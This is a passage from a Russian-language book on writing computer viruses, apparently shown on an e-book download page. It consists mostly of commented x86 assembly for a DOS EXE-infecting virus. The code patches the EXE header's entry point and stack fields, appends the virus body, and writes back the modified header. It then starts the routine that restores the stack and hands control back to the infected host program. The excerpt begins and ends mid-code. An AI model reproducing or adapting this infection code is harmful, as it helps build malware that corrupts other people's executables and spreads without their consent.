Скачать книгу

входа в вирус должна находиться

      ;в начале его тела. Другими словами, нужно к длине файла

      ;прибавить смещение точки входа.

      ;Разделим длину на размер параграфа (10h)

      mov cx,10h

      div cx

      ;Получили число параграфов (AX) и остаток (DX – смещение

      ;вируса в последнем параграфе).

      ;Отнимем от числа параграфов в файле число

      ;параграфов в заголовке – получим сегмент входа в EXE−файл

      sub ax,[si+HdrSize]

      ;Запишем новую точку входа в заголовок

      mov [si+ReloCS],ax

      mov [si+ExeIP],dx

      ;Замечание: можно было округлить полученное число,

      ;и вирус начинался бы с 0000h.

      ;Но этого делать не стоит.

      ;Естественно, все обращения к данным в этом вирусе

      ;должны быть нефиксированными, как и в любом другом вирусе.

      ;Вместо ”mov ax,ANYDATA” придется делать так:

      ; mov si,VIRSTART

      ; mov ax,[si+offset ANYDATA]

      ;где offset ANYDATA – смещение относительно начала тела вируса

      ;Стек поставим за тело вируса – байт на 100h. Потом обязательно

      ;вернем, иначе можно стереть заготовленные в стеке значения!

      ;Установим сегмент стека такой же, как и кода,

      ;а указатель на вершину стека –

      ;на 100h байт после тела вируса

      mov [si+ReloSS],ax

      mov ax,VIRSIZE+100h

      mov [si+ExeSP],ax

      ;Теперь запишем заголовок в файл, не забыв и тело вируса.

      ;Рекомендуется писать сначала тело, а потом заголовок.

      ;Если тело вдруг не допишется,

      ;то файл испортим зря

      UpdateFile:

      ;Запишем тело вируса

      WriteBody:

      ;Установим указатель чтения/записи в конец файла

      mov bx,Handle

      xor cx,cx

      xor dx,dx

      mov ax,4202h

      int 21h

      ;Запишем тело вируса в файл

      mov ah,40h

      mov cx,VIRSIZE

      mov dx,offset VIRStart

      int 21h

      ;Запишем заголовок

      WriteHeader:

      ;Установим указатель чтения/записи в начало файла

      mov ax,4200h

      xor cx,cx

      xor dx,dx

      int 21h

      ;Запишем заголовок в файл

      mov cx,0018h

      mov ah,40h

      mov dx,si

      int 21h

      Итак, вирус «поселился» в EXE-файле. А как после окончания работы вируса передать управление инфицированной программе? Вот процедура выхода из вируса:

      CureEXE:

      StackBack:

      ;Установим первоначальный указатель (сегмент и смещение) стека

      mov ax,ds

      ;Прибавим 0010h, после чего в AX будет

      ;находится сегмент, с которого

      ;загружен программный модуль

      add ax,10h

      ;Прибавим первоначальный сегмент стека

      db @add_ax ;код ADD AX, дальше по аналогии

      OldSS dw ? ;это значение было установлено

      ;при заражении

      ;Запретим прерывания, так как со стеком нельзя работать,

      ;пока и сегмент, и смещение не установлены в нужное значение

      cli

      ;Установим сегмент стека (PSP+10h+OldSS)

      mov ss,ax

      ;Установим первоначальный указатель (смещение) стека

      db @mov_sp

      OldSP dw ?

      ;Разрешим прерывания – опасный участок пройден

      sti

      ;Подготовим значения в стеке для команды IRET

      RetEntryPoint:

      pushf

      ;Рассчитаем сегмент

Скачать книгу